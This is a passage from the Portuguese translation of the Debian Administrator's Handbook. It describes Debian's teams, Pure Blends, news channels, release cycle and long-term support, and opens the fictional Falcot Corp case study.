Não só os usuários se ajudam entre si (e outros) com questões técnicas que afetam diretamente a eles, mas também discutem as melhores formas de contribuir para o projeto Debian e ajudá-lo a avançar - discussões que frequentemente resultam em sugestões para melhorias.

FERRAMENTA how-can-i-help (como eu posso ajudar)

O programa how-can-i-help lista oportunidades para contribuir com pacotes Debian que estão instalados localmente. Depois de cada invocação do APT (veja Capítulo 6, Manutenções e atualizações: As ferramentas APT), ele mostra formas de ajudar, realçando bugs marcados com “newcomer” ("iniciantes", bugs fáceis de tratar para novos(as) contribuidores(as)) ou pacotes órfãos que precisam de um(a) novo(a) mantenedor(a). O programa também pode ser executado diretamente.

Já que o Debian não gasta fundos em todas campanhas de autopromoção de marketing, seus usuários têm um papel essencial na sua difusão, assegurando a sua fama através da propaganda boca a boca.

Este método funciona muito bem, uma vez que fãs do Debian são encontrados em todos os níveis da comunidade de software livre: a partir de festas de instalação (oficinas onde os usuários experientes ajudam os recém-chegados para instalar o sistema) organizados por LUGs locais ou "Grupos de Usuários de Linux", para estandes de associação em grandes convenções que lidam com tecnologias como o Linux, etc.

Voluntários fazem cartazes, folhetos, adesivos e outros materiais promocionais úteis para o projeto, que colocam à disposição de todos, e que o Debian oferece gratuitamente em seu portal web e na sua wiki:

→ https://www.debian.org/events/material

1.3.3. Equipes, Blends e subprojetos

Desde seu início, o Debian é organizado em torno do conceito de pacotes de pacotes-fonte, cada um com seu(sua) mantenedor(a) ou grupo de mantenedores(as). Numerosas equipes de trabalho lentamente apareceram, garantindo a administração da infraestrutura, gestão de tarefas que não são específicas de determinados pacotes (garantia de qualidade, Política Debian, instalador, etc.), com as últimas equipes crescendo ao redor dos subprojetos.

1.3.3.1. Subprojetos Debian atuais e Blends

Cada um com seu próprio Debian! Um subprojeto é um grupo de voluntários interessados em adaptar o Debian para necessidades específicas. Além da seleção de um subgrupo de programas destinados a um domínio particular (educação, medicina, criação multimídia, etc), os subprojetos estão também envolvidos em melhorar os pacotes existentes, empacotar software faltando, adaptar o instalador, criação de documentação específica, e mais. Embora um "blend" possa não ser exatamente a mesma coisa, seu funcionamento e bastante similar e também tenta fornecer uma solução para grupos de pessoas que pretendem usar o Debian para um domínio particular. Pode-se dizer que o "Debian Pure Blends" é o sucessor dos sub-projetos.

→ https://www.debian.org/blends/

VOCABULÁRIO Subprojetos, blends e distribuições derivadas

O processo de desenvolvimento para uma distribuição derivada consiste em começar com uma versão específica do Debian e fazer uma série de modificações nela. A infra-estrutura utilizada para este trabalho é completamente externa ao projeto Debian. Não há necessariamente uma política de contribuição de melhorias. Esta diferença explica como uma distribuição derivada pode "divergir" de suas origens, e por que têm que sincronizar regularmente com sua fonte de modo a se beneficiar de melhorias feitas no upstream.

Por outro lado, um subprojeto ou blend pode não divergir, uma vez que todo o trabalho consiste em melhorar diretamente o Debian de modo a adaptá-lo para um objetivo específico.

A distribuição derivada mais conhecida é, sem dúvida, o Ubuntu, mas existem muitas. Veja Apêndice A, Distribuições Derivadas para aprender sobre suas particularidades e seu posicionamento em relação ao Debian.

Aqui está uma pequena seleção de Debian Pure Blends lançados:

Debian Junior, por Ben Armstrong, que oferece um sistema Debian atraente e fácil de usar por crianças;

Debian Edu, por Petter Reinholdtsen, focada na criação de uma distribuição especializada para o mundo acadêmico e educacional;

Debian Med, por Andreas Tille, dedicada para o campo medicinal;

Debian Multimedia, que trata do trabalho de áudio e multimídia;

Debian GIS, que cuida de aplicações e usuários(as) de Sistemas de Informações Geográficas;

Debian Astro, para astrônomos(as) profissionais e amadores(as);

Debian Science, trabalhando para que pesquisadores(as) e cientistas tenham uma experiência melhor ao usar o Debian;

Freedombox, criado para desenvolver, projetar e promover servidores pessoais que executem software livre para comunicação privada e pessoal;

Debian Games, que oferece jogos no Debian, dos fliperamas às aventuras, até simulações e estratégias;

DebiChem, marcado em Chemistry ("química"), fornece programas e suites para química.

O número de projetos, muito provavelmente, continuará a crescer com o tempo e com a percepção das vantagens dos Debian Pure Blends. Totalmente suportados pela infraestrutura Debian existente , eles podem, com efeito, se concentrar no trabalho com valor acrescentado real, sem se preocupar em permanecer sincronizado com o Debian, uma vez que são desenvolvidos dentro do projeto.

1.3.3.2. Times Administrativos

A maioria das equipes administrativas são relativamente fechadas e recrutam só por co-optação. O melhor meio para se tornar parte de uma é inteligentemente auxiliar os atuais membros, demonstrando que você tenha entendido seus objetivos e métodos de operação.

O ftpmasters estão a cargo do repositório oficial dos pacotes Debian. Eles mantêm o programa que recebe pacotes enviados por desenvolvedores e automaticamente armazenam eles, depois de algumas verificações no servidor de referência ( ftp-master.debian.org ).

Eles devem igualmente verificar as licenças de todos os novos pacotes, a fim de assegurar que o Debian pode distribuí-los, antes da sua inclusão no corpo de pacotes existentes. Quando um desenvolvedor deseja remover um pacote, aborda esta equipe através do sistema de acompanhamento de bugs e o "pseudopacote" ftp.debian.org .

VOCABULÁRIO O pseudopacote, uma ferramenta de monitoramento

O sistema de acompanhamento de bugs, inicialmente concebido para associar relatórios de erros com um pacote Debian, revelou-se muito prático para gerenciar outros assuntos: as listas de problemas a serem resolvidos ou tarefas para gerenciar, sem qualquer ligação a um pacote Debian particular. "Pseudopacotes" permitem, assim, algumas equipes a usar o sistema de acompanhamento de bugs sem associar um pacote real com sua equipe. Todo mundo pode, portanto, relatar problemas que precisam ser tratados. Por exemplo, o BTS tem uma entrada ftp.debian.org para relatar problemas no repositório de pacotes oficiais ou simplesmente para solicitar a remoção de um pacote. Da mesma forma, o pseudopacote www.debian.org refere-se a erros no site do Debian, e lists.debian.org reúne todos os problemas relativos às listas de discussão.

FERRAMENTA GitLab. Hospedagem de repositórios Git e muito mais

Uma instância do GitLab, conhecida como salsa.debian.org, é usada pelo Debian para hospedar os repositórios de empacotamento Git; mas este software oferece muito mais que simples hospedagem e contribuidores Debian rapidamente elevaram as funcionalidades de integração contínua (rodando testes, ou mesmo construindo pacotes, em cada push). Contribuidores Debian também se beneficiaram de um fluxo de contribuição mais limpo graças ao processo de merge request (solicitação de fusão) bem conhecido (similar aos pull requests do GitHub).

O GitLab substituiu FusionForge (que rodava num serviço chamado alioth.debian.org) para manutenção de pacotes colaborativa. Este serviço é administrado por Alexander Wirt, Bastian Blank e Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

A equipe Administradores de Sistema do Debian (DSA) (<debian-admin@lists.debian.org>), como se poderia esperar, é responsável pela administração do sistema de muitos servidores utilizados pelo projeto. Eles garantem o ótimo funcionamento de todos os serviços básicos (DNS, Web, e-mail, shell, etc), instalam o software solicitado por desenvolvedores Debian e tomam todas as precauções no que diz respeito à segurança.

→ https://dsa.debian.org

FERRAMENTA Rastreador de Pacotes Debian

Esta é uma das criações do Raphaël. A ideia básica é, para um determinado pacote, centralizar as informações tanto quanto possível em uma única página. Assim, pode-se verificar rapidamente o estado de um programa, identificar tarefas a serem realizadas, e oferecer assistência de alguém. É por isso que esta página reúne todas estatísticas de erros, as versões disponíveis em cada distribuição, o progresso de um pacote na distribuição Testing, o estado das traduções das descrições e modelos debconf, a possível disponibilidade de uma nova versão, avisos de não conformidade com a versão mais recente da Política Debian, informações sobre o mantenedor, e qualquer informação que o dito mantenedor deseja incluir.

→ https://tracker.debian.org/

Um serviço de assinatura de e-mail completa esta interface web. Ela envia automaticamente as seguintes informações selecionadas para a lista: bugs e discussões relacionadas, a disponibilidade de uma nova versão nos servidores Debian, novas traduções disponíveis para revisão, etc.

Os usuários avançados podem, assim, seguir toda esta informação de perto e até mesmo contribuir para o projeto, uma vez que tiverem um conhecimento bom o suficiente de como ele funciona.

Outra interface web, conhecida como Visão Geral dos Pacotes dos(as) Desenvolvedores(as) Debian (Debian Developer's Packages Overview - DDPO), fornece a cada desenvolvedor(a) uma sinopse do estado de todos os pacotes Debian colocados sob sua responsabilidade.

→ https://qa.debian.org/developer.php

Estes dois sites são ferramentas desenvolvidas e gerenciadas pelo grupo responsável pela garantia de qualidade no Debian (conhecido como Debian QA).

A equipe listmasters administra o servidor de e-mail que gerencia as listas de discussão. Eles criam novas listas, tratam das quicadas (avisos de falha na entrega), e mantém os filtros de spam (massa não solicitada de e-mail).

CULTURA Tráfego nas listas de discussão: alguns números

As listas de discussão são, sem dúvida, o melhor testemunho de atividade em um projeto, uma vez que acompanham tudo o que acontece. Os números (de abril de 2021) relativos às nossas listas de discussão falam por si só: O Debian hospeda cerca de 325 listas, totalizando mais de 295.000 assinaturas individuais. 396.000 e-mails são entregues todos os dias.

Cada serviço específico tem sua própria equipe de administração, geralmente composta de voluntários que o instalaram (e também frequentemente programam as ferramentas correspondentes eles mesmos). Este é o caso para o sistema de acompanhamento de bugs (BTS), o rastreador de pacotes, salsa.debian.org (servidor GitLab, consulte a barra lateral FERRAMENTA GitLab. Hospedagem de repositórios Git e muito mais), os serviços disponíveis em qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.3.3.3. Equipes de Desenvolvimento, Equipes Transversais

Diferente das equipes administrativas, as equipes de desenvolvimento são bem amplamente abertas, mesmo para os contribuintes de fora. Mesmo que se o Debian não tem vocação para criar um software, o projeto necessita de alguns programas específicos para atender seus objetivos. Claro, desenvolvido sob uma licença de software livre, essas ferramentas fazem uso de métodos comprovados em outras partes do mundo do software livre.

Debian desenvolveu poucos softwares por si só, mas certos programas têm assumido um papel importante, sua fama se espalhou para além escopo do projeto. Bons exemplos são dpkg, o programa de gerenciamento de pacotes do Debian (é, na verdade, uma abreviatura de Debian PacKaGe -- pacote do Debian), e apt, uma ferramenta para instalação automática de qualquer pacote Debian, e suas dependências, garantindo a coesão do sistema após a atualização (seu nome é uma sigla para Advanced Package Tool -- Ferramenta Avançada de Pacotes). Os seus times são, no entanto, muito pequenos, uma vez que um nível bastante elevado de habilidade de programação é necessária para a compreensão do conjunto de ações destes tipos de programas.

A equipe mais importante é provavelmente a do programa de instalação do Debian, debian-installer, que realizou uma obra de proporções monumentais, desde a sua concepção em 2001. Vários colaboradores foram necessários, uma vez que é difícil escrever um único programa capaz de instalar o Debian em uma dúzia de diferentes arquiteturas. Cada um tem seu próprio mecanismo para inicialização e seu próprio bootloader. Todo este trabalho é coordenado na lista de discussão <debian-boot@lists.debian.org>, sob a direção de Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

A (muito pequena) equipe do programa debian-cd tem um objetivo ainda mais modesto. Muitos "pequenos" colaboradores são responsáveis pela sua arquitetura, já que o principal desenvolvedor pode não saber todas as sutilezas, nem a forma exata para iniciar o instalador a partir do CD-ROM.

Muitas equipes devem colaborar com outras na atividade de empacotamento: < debian-qa@lists.debian.org > tenta, por exemplo, garantir a qualidade em todos os níveis do projeto Debian. A equipe do lista do programa <debian-policy@lists.debian.org > desenvolve A Política do Debian de acordo com propostas de todo o lugar. A equipe encarregada de cada arquitetura (< debian- arquitetura @ lists.debian.org >) compila todos os pacotes, adaptando-os à sua arquitetura particular, se necessário.

Outras equipes gerenciam os pacotes mais importantes, a fim de garantir a manutenção sem colocar uma carga muito pesada sobre um único par de ombros, este é o caso com a biblioteca C a <debian-glibc@lists.debian.org>, o compilador C na lista <debian-gcc@lists.debian.org>, ou o Xorg na <debian-x@lists.debian.org> (este grupo também é conhecido como o X Strike Force).

1.4. Siga as notícias do Debian

Como já mencionado, o projeto Debian evolui muito distribuído, de forma muito orgânica. Como consequência, pode ser difícil às vezes para ficar em contato com o que acontece dentro do projeto sem ser sobrecarregado por uma torrente interminável de notificações.

Se você quer somente as notícias mais importantes sobre o Debian, você provavelmente deve se inscrever na lista <debian-announce@lists.debian.org>. Esta é uma lista de muito baixo tráfego (cerca de uma dúzia de mensagens por ano), e apenas dá os anúncios mais importantes, tais como a disponibilidade de uma nova versão estável, a eleição de um novo líder do projeto, ou a conferência anual do Debian.

→ https://lists.debian.org/debian-announce/

Mais notícias em geral (e regulares) sobre o Debian são enviadas para a lista <debian-news@lists.debian.org>. O tráfego nesta lista é bastante razoável também (geralmente em torno de um punhado de mensagens por mês), e inclui o semi-regular "Notícias do Projeto Debian", que é uma compilação de várias pequenas partes de informação sobre o que acontece no projeto.

→ https://lists.debian.org/debian-news/

COMUNIDADE O time de publicidade

Os canais de comunicação oficiais do Debian são gerenciados por voluntários do time de publicidade Debian. Este time são delegados do líder do projeto Debian e são moderadores das notícias e lançamentos postados lá. Muitos outros voluntários contribuem para o time, por exemplo, escrevendo conteúdo para as "Notícias do Projeto Debian", para o blog oficial do Debian (bits.debian.org) ou o serviço de microblog (micronews.debian.org), que fornece às redes sociais conteúdo de microblog.

→ https://wiki.debian.org/Teams/Publicity

Para mais informações sobre a evolução do Debian e o que está acontecendo num momento em vários times, existe também a lista <debian-devel-announce@lists.debian.org>. Como o próprio nome indica, os anúncios publicados lá são mais interessantes para desenvolvedores, mas também serve para que parceiros interessados mantenham um olho no que acontece em termos mais concretos do que apenas ver quando a versão estável é lançada. Enquanto a <debian-announce@lists.debian.org> dá notícias sobre resultados visíveis para usuários, a <debian-devel-announce@lists.debian.org> dá notícias sobre como estes resultados foram produzidos. Uma observação, a “d-d-a” (como é às vezes chamada) é a única lista na qual desenvolvedores Debian devem estar inscritos.

→ https://lists.debian.org/debian-devel-announce/

O blog oficial do Debian (bits.debian.org) é também uma boa fonte de informação. Ele junta a maioria das notícias interessantes que são publicadas em várias listas de email que já falamos e outras notícias importantes dadas por membros da comunidade. Como todos os desenvolvedores Debian podem contribuir com estas notícias quando acham que tem algo relevante para tornar público, o blog do Debian dá uma visão valiosa enquanto foca no projeto como um todo.

Uma fonte de informações mais informal pode ser encontrada no Planeta Debian, que agrega artigos postados por colaboradores do Debian em seus respectivos blogs. Embora o conteúdo não trate exclusivamente do desenvolvimento do Debian, eles fornecem uma visão sobre o que está acontecendo na comunidade e o que seus membros estão fazendo.

→ https//planet.debian.org/

O projeto também é bem representado em redes sociais. O Debian só tem presença oficial no Identi.ca (plataforma de microblog, sustentada pelo pump.io), mas existem algumas contas retransmitindo o feed RSS de micronews.debian.org e muitos colaboradores Debian postando em contas não-oficiais.

→ https://identi.ca/debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. O Papel das Distribuições

Uma distribuição GNU / Linux tem dois objetivos principais: instalar um sistema operacional livre em um computador (com ou sem um sistema existente ou sistemas), e fornecer uma gama de software que abrange todas necessidades dos usuários.

1.5.1. O Instalador: debian-installer

O debian-installer, projetado para ser extremamente modular, a fim de ser o mais genérico possível, destina-se ao primeiro objetivo. Abrange ampla gama de situações de instalação e em geral facilita grandemente a criação de um instalador derivado adequando-se a um caso particular.

Esta modularidade, que o torna também muito complexo, pode incomodar os desenvolvedores que estão descobrindo esta ferramenta; queira utilizando no modo gráfico ou modo texto, a experiência do usuário ainda é semelhante. Grandes esforços têm sido feitos para reduzir o número de perguntas em tempo de instalação, em particular graças a inclusão do software de detecção automática de hardware.

É interessante notar que as distribuições derivadas do Debian diferem muito sobre este aspecto, e fornecem um instalador mais limitado (muitas vezes confinado à arquitetura i386 ou amd64), mas mais amigável para os não iniciados. Por outro lado, eles costumam se abster de se afastar muito do conteúdo do pacote, a fim de se beneficiar tanto quanto possível da vasta gama de softwares oferecidos sem causar problemas de compatibilidade.

1.5.2. A Biblioteca de Software

Quantitativamente, o Debian é inegavelmente o líder nesse aspecto, com mais de 31.000 pacotes fonte. Qualitativamente, a política do Debian e o longo período de testes antes de liberar uma nova versão estável justificam a sua reputação para a estabilidade e consistência. Quanto a disponibilidade, tudo está disponível online através de muitos espelhos ao redor do mundo atualizados a cada seis horas.

A maioria dos novos programas de software livre rapidamente encontra o caminho para a versão em desenvolvimento que lhes permite ser instalado. Se isso requer muitas atualizações, devido às suas dependências, o programa também pode ser recompilado para a versão estável do Debian (ver Capítulo 15, Criando um Pacote Debian para obter mais informações sobre este tópico).

1.6. Ciclo de vida de um Lançamento

O projeto vai ter simultaneamente de três a seis versões diferentes de cada programa, chamadas Experimental, Instável, Teste, Estável, Estável Antiga e até a Estável Antiga Antiga . Cada uma corresponde a uma fase diferente em desenvolvimento. Para um entendimento claro, vamos dar uma olhada no caminho de um programa, do seu empacotamento inicial à inclusão em uma versão estável do Debian.

VOCABULÁRIO Lançamento

O termo "lançamento" , no projeto do Debian, indica uma versão especial de uma distribuição (por exemplo, "versão instável" significa "a versão instável"). Ele também indica o anúncio público de lançamento de qualquer nova versão (estável).

1.6.1. O Estado Experimental

Primeiro vamos dar uma olhada no caso particular da distribuição Experimental : este é um grupo de pacotes Debian correspondente ao software atualmente em desenvolvimento, e não necessariamente concluído, explicando o seu nome . Nem tudo passa por esta etapa, alguns desenvolvedores adicionam aqui os pacotes a fim de obter o feedback dos mais experientes (ou mais valentes) usuários.

Por outro lado, essa distribuição frequentemente abriga importantes modificações para pacotes básicos, cuja integração na Instável (Unstable) com erros graves teria repercussões críticas. Portanto, é uma distribuição completamente isolada, com seus pacotes nunca migrando para outra versão (exceto pela intervenção direta e expressa do mantenedor ou dos ftpmasters). Ela também não é autossuficiente: apenas um subconjunto dos pacotes existentes estão presentes na Experimental, e geralmente não incluem o sistema de base. Esta distribuição é, portanto, útil principalmente em combinação com uma outra distribuição autossuficiente, como a Instável (Unstable).

1.6.2. O Estado Instável

Vamos voltar para o caso de um pacote típico. O mantenedor cria um pacote inicial, que compila para a versão Instável e coloca no servidor ftp-master.debian.org.Este primeiro evento envolve a inspeção e validação dos ftpmasters. O software fica então disponível na distribuição Instável, que é a distribuição de ponta escolhida pelos usuários que estão mais preocupados em manter seus pacotes atualizados invés de se preocupar com bugs graves. Eles descobrem o programa e o testam.

Se encontrarem bugs, reportam para o mantenedor do pacote. O mantenedor então elabora regularmente versões corrigidas que envia (por upload) para o servidor.

Cada pacote recém-atualizado é atualizado em todos os espelhos Debian ao redor do mundo dentro de seis horas. Os usuários então testam as correções e procuram outros problemas decorrentes das modificações. Várias atualizações podem ocorrer rapidamente. Durante esses tempos, os robôs autoconstrutores entram em ação. O mantenedor carrega as fontes do pacote (sem nenhum pacote pré-compilado). Os autoconstrutores assumem e compilam automaticamente as versões para todas as arquiteturas suportadas. Algumas compilações podem falhar; o mantenedor receberá então um relatório de bug indicando o problema, que deverá ser corrigido nas próximas versões. Quando o bug é descoberto por um especialista para a arquitetura em questão, o relatório do bug pode vir com um patch pronto para uso.

Figura 1.2. Compilação de um pacote pelos autobuilders

VISTA RÁPIDA buildd, O recompilador de pacotes do Debian

buildd é a abreviação de "build daemon". Este programa automaticamente recompila novas versões de pacotes Debian nas arquiteturas em que está hospedado (compilação cruzada é evitada sempre que possível).

Assim, para produzir binários para a arquitetura arm64, o projeto tem máquinas arm64 disponíveis. O programa buildd é executado nelas continuamente e cria os pacotes de binários para arm64 do pacotes fonte enviados pelos desenvolvedores Debian.

Este software é usado em todos os computadores que servem como autobuilders para o Debian. Por extensão, o termo buildd é frequentemente usado para se referir a estas máquinas, que geralmente são reservadas somente para este propósito.

1.6.3. Migração para Teste

Um pouco mais tarde, o pacote terá amadurecido; compilados em todas arquiteturas, não vai ter sofrido modificações recentes. É então um candidato de inscrição na distribuição Teste - um grupo de pacotes instáveis escolhidos de acordo com alguns critérios quantificáveis. Todos os dias um programa seleciona automaticamente os pacotes para incluir em Teste , de acordo com os elementos que garantem um certo nível de qualidade:

compilação bem-sucedida em todas arquiteturas suportadas oficialmente;

ausencia de bugs críticos, ou ao menos uma quantidade menor do que a versão atualmente incluída na Teste (Testing);

pelo menos 5 dias na Instável (Unstable) , que é usualmente tempo suficiente para encontrar e relatar quaisquer problemas graves (passar com sucesso na suíte de testes própria do pacote, se houver uma, reduz este tempo);

dependências que podem ser satisfeitas na Teste, ou que podem pelo menos ser mudadas para lá junto com o pacote em questão;

testes de qualidade automáticos do pacote (autopkgtest) — se definidos — não mostram nenhuma regressão.

É claro que este sistema não é infalível; bugs críticos são encontrados regularmente em pacotes incluídos na Teste . Ainda assim, é geralmente eficaz, Teste apresenta muito menos problemas do que a Instável , sendo para muitos, um bom compromisso entre estabilidade e novidade.

NOTA Limitações da Teste

Muito interessante em princípio, a Teste coloca alguns problemas práticos: o emaranhado de dependências entre os pacotes é tal que um pacote raramente pode mover-se para lá totalmente por conta própria. Com os pacotes, dependendo uns dos outros, as vezes é necessário uma grande quantidade de pacotes simultaneamente, o que é impossível quando alguns são atualizados regularmente. Por outro lado, o script de identificação das famílias de pacotes relacionados trabalha duro para criá-los (isso seria um problema NP-completo, para o que, felizmente, sabemos de algumas boas heurísticas). É por isso que podemos interagir manualmente com e orientar esse script, sugerindo grupos de pacotes, ou impor a inclusão de certos pacotes em um grupo, mesmo que temporariamente quebre algumas dependências. Esta funcionalidade é acessível para os gerentes de lançamento e os seus assistentes.

Recorde-se que um problema NP-completo é de uma complexidade exponencial algorítmica de acordo com o tamanho dos dados, sendo aqui o comprimento do código (o número de figuras) e os elementos envolvidos. A única maneira de resolver é frequentemente examinar todas configurações possíveis que podem exigir meios enormes. Uma heurística é uma aproximada, mas satisfatória, solução.

COMUNIDADE O Gerente de Lançamento

Gerente de lançamento é um título importante, associado com grandes responsabilidades. O portador deste título deve ter, de fato, de gerenciar a liberação de uma nova versão estável do Debian, definir o processo de desenvolvimento do Debian Teste até que ele atenda aos critérios de qualidade para Estável. Eles também definir um cronograma preliminar (nem sempre seguido).

Nós também temos Gerentes de versão estável (Stable Release Managers), muitas vezes abreviado como SRM , que gerenciam e selecionam as atualizações para a versão atual estável do Debian. Eles sistematicamente incluem patches de segurança e examinam todas as outras propostas de inclusão, caso a caso, enviadas por desenvolvedores Debian ansiosos para atualizar seu pacote na versão estável.

1.6.4. A Promoção de Teste para Estável

Vamos supor que o nosso pacote agora está incluído na Teste. Embora tenha espaço para melhorias, o mantenedor do mesmo deve continuar a melhorá-lo e reiniciar o processo a partir da Instável (mas a sua última inclusão na Teste é geralmente mais rápido: a menos que tenha mudanças significativas, todas suas dependências já estão disponíveis). Quando se atinge a perfeição, o mantenedor conclui seu trabalho. O próximo passo é a inclusão na distribuição Estável, que é, na realidade, uma cópia simples da Teste em um momento escolhido pelo Gerente de Lançamento. Idealmente, esta decisão é tomada quando o instalador está pronto, e quando nenhum programa na Teste tem qualquer bug crítico conhecido.

Como esse momento nunca chega verdadeiramente, na prática, o Debian deve se comprometer a: remover pacotes cujo mantenedor não tiver corrigido bugs a tempo, ou concorda em publicar uma distribuição com alguns bugs nos milhares de programas. O Gerente de lançamento vai previamente anunciar um período de congelamento, durante o qual cada atualização para Teste deve ser aprovado. O objetivo aqui é evitar qualquer nova versão (e seus novos bugs), e só aprovar as atualizações com correção de bugs.

Figura 1.3. Caminho de um pacote através das várias versões Debian

VOCABULÁRIO Freeze: a casa arrumada

Durante o período de congelamento, o desenvolvimento do Teste é bloqueado; nenhuma atualização mais recente é permitida. Apenas os gerentes de lançamento são, então, autorizado a alterar , de acordo com seus próprios critérios. O objetivo é prevenir o aparecimento de novos bugs através da introdução de novas versões; apenas atualizações minuciosamente examinadas são autorizadas quando corrigir bugs significativos.

Após o lançamento de uma nova versão estável, os Gerentes de Lançamento da Estável gerenciam todo o desenvolvimento posterior (chamado de "revisões", ex: 10.1, 10.2, 10.3 para a versão 10). Essas atualizações incluem sistematicamente todos os patches de segurança. Eles também incluem as correções mais importantes (o mantenedor de um pacote deve comprovar a gravidade do problema que deseja corrigir a fim de ter suas atualizações incluídas).

No fim da viagem: Nosso pacote hipotético está agora incluído na distribuição estável. Esta viagem, não sem dificuldades, explica os atrasos significativos que separam os lançamentos do Debian Estável. Isso contribui, sobretudo, para sua reputação de qualidade. Além disso, a maioria dos usuários está satisfeita usando uma das três distribuições simultaneamente disponíveis. Os administradores de sistema, preocupados acima de tudo com a estabilidade de seus servidores, não precisam da última e melhor versão do GNOME; eles podem escolher o Debian Estável, e estarão satisfeitos. Os usuários finais, mais interessados nas versões mais recentes do GNOME ou KDE Plasma do que em uma estabilidade sólida, acharão o Debian Teste um bom meio-termo entre a ausência de problemas graves e softwares relativamente mais atuais. Finalmente, os desenvolvedores e usuários mais experientes podem abrir caminho, testando todos os últimos desenvolvimentos no Debian Instável direto da fonte, correndo o risco de sofrer as dores de cabeça e erros inerentes a qualquer nova versão de um programa. Cada um com o seu Debian!

CULTURA GNOME e KDE Plasma, ambientes gráficos de área de trabalho

GNOME (originalmente um acrônimo para GNU Network Object Model Environment) e Plasma pelo KDE (anteriormente conhecido como K Desktop Environment) são os dois ambientes de desktop gráficos mais populares/estabelecidos no mundo do software livre, e serão apresentados com mais detalhes em Seção 13.3, “Ambientes Gráficos”.

Um ambiente de área de trabalho é um conjunto de programas agrupados para permitir o fácil gerenciamento das operações mais comuns através de uma interface gráfica. Eles geralmente incluem um gerenciador de arquivos, suíte de escritório, navegador, programa de e-mail, acessórios multimídia, etc. A diferença mais visível reside na escolha da biblioteca gráfica utilizada: GNOME escolheu GTK+ (software livre licenciado sob a LGPL), e a comunidade KDE selecionou o Qt (um projeto mantido por uma empresa, atualmente licenciada sob a licença GPL e uma licença comercial).

→ https://www.gnome.org/

→ https://kde.org/

Figura 1.4. Trilha Cronológica de um pacote de programas do Debian

1.6.5. O status OldStable e Oldoldstable

Cada lançamento Estável tem uma expectativa de vida de 5 anos e cada lançamento tende a acontecer a cada 2 anos, pode acontecer de haver 3 lançamentos com suporte em dado momento do tempo. Quando um novo lançamento estável acontece, o lançamento anterior se torna Estável Antiga e o anterior a este se torna Estável Antiga Antiga.

Esse Suporte de Longo Prazo (Long Term Support - LTS) dos lançamentos Debian é uma iniciativa recente: contribuintes individuais e companhias juntaram forças para criar a equipe Debian LTS. Lançamentos antigos que não são mais suportados pela equipe de segurança do Debian ficam sob responsabilidade dessa nova equipe.

A equipe de segurança do Debian gerencia o suporte de segurança no lançamento Estável corrente e também no lançamento Estável Antiga (mas apenas o tempo necessário para garantir um ano de sobreposição com o lançamento estável corrente). Isso equivale, aproximadamente, a três anos de suporte para cada lançamento. A equipe do Debian LTS gerencia os (dois) últimos anos de suporte de segurança para que cada lançamento se beneficie por pelo menos 5 anos de suporte e que os usuários possam atualizar da versão N para a N+2, por exemplo, do Debian 9 Stretch para o Debian 11 Bullseye.

→ https://wiki.debian.org/LTS

COMUNIDADE Companhias que patrocinam o esforço de LTS

O Suporte de Longo Prazo é um comprometimento difícil de fazer no Debian porque os voluntários tendem a evitar trabalho que não seja divertido. E prover suporte de segurança em softwares com 5 anos de idade é — para muitos colaboradores — muito menos divertido que empacotar novas versões do desenvolvedor ou desenvolver novos recursos.

Para dar vida a esse projeto, o projeto contou com o fato que suporte de longo prazo era particularmente relevante para empresas e que elas estariam dispostas a mutualizar os custos desse suporte de segurança.

O projeto iniciou em Junho de 2014: algumas organizações permitiram que seus empregados contribuíssem com parte de seu tempo para o Debian LTS enquanto que outras preferiram patrocinar o projeto com dinheiro para que contribuidores do Debian fossem pagos para fazer o trabalho que eles não fariam de graça. A maioria dos contribuidores do Debian que queriam ser pagos para trabalhar no LTS se juntaram para criar uma proposta clara de patrocínio gerenciada pela Freexian (companhia do Raphaël Hertzog):

→ https://www.freexian.com/services/debian-lts.html

Na equipe Debian LTS, os voluntários trabalham nos pacotes que eles priorizam enquanto que os contribuidores pagos priorizam os pacotes usados por seus patrocinadores.

O projeto está sempre a procura de novos patrocinadores: que tal a sua companhia? Você pode deixar que um empregado trabalhe parte do tempo no suporte de longo prazo? Você pode alocar um pequeno orçamento para suporte de segurança?

→ https://wiki.debian.org/LTS/Funding

Capítulo 2. Apresentando o Estudo de Caso

No contexto deste livro, você é o administrador de sistemas de um pequeno negócio crescente. Chegou a hora de você redefinir o plano estratégico de sistemas de informação para o próximo ano em colaboração com seus diretores, você escolheu migrar progressivamente para o Debian, por razões tanto práticas quanto econômicas. Vamos olhar com mais detalhes o que espera por você…

Nós imaginamos esse estudo de caso para abordar todos os serviços de sistemas de informação modernos usados em empresas de médio porte. Após ler este livro, você terá todos os elementos necessários para instalar o Debian nos seus servidores e voar com suas próprias asas. Você também aprenderá como buscar eficientemente informações nos momentos de dificuldade.

2.1. Crescimento Rápidos das Necessidades de TI

Falcot Corp é uma fabricante de equipamentos de áudio de alta qualidade. A companhia está crescendo fortemente, e tem duas fábricas, uma em Saint-Étienne, e outra em Montpellier. A primeira tem por volta de 150 funcionários; e hospeda uma fábrica que produz alto-falantes, um laboratório de design, e todo o escritório administrativo. A fábrica de Montpellier é menor, com apenas 50 funcionários, e produz amplificadores.

NOTA Companhia fictícia criada para o estudo de caso

A empresa Falcot Corp estudada aqui é completamente fictícia. Qualquer semelhança com uma companhia existente é mera coincidência. Igualmente, certos exemplos dados neste livro também podem ser fictícios.

O sistema de informação tem tido dificuldades de se manter junto ao crescimento da empresa, então agora eles estão determinados a redefini-lo completamente para se enquadrar nas metas estabelecidas pela gerência:

infraestrutura moderna, facilmente escalável;

redução de custos de licenças graças ao uso de programas Open Source (Código Aberto);

instalação de um site de comercio eletrônico, possivelmente B2B (negócio para negócio, i.e. conectando sistemas de informação entre diferentes empresas, como um fornecedor e seus clientes);

melhoria significativa na segurança para melhor proteger segredos industriais relacionados a seus novos produtos.

Todos os sistemas de informação vão ser reformulados com estes objetivos em mente.

2.2. Plano Estratégico

Com a sua colaboração, a gerência de TI conduziu um estudo ligeiramente mais intenso, identificando algumas restrições e definindo um plano de migração para o sistema Open Source (Código Aberto) escolhido, Debian.

Uma restrição significativa identificada é o departamento de contas que usa um software específico, que somente funcionada no Microsoft Windows™. O laboratório, por sua vez, usa um programa para desenho que somente funciona no OS X™.

Figura 2.1. Visão global da rede da Falcot Corp

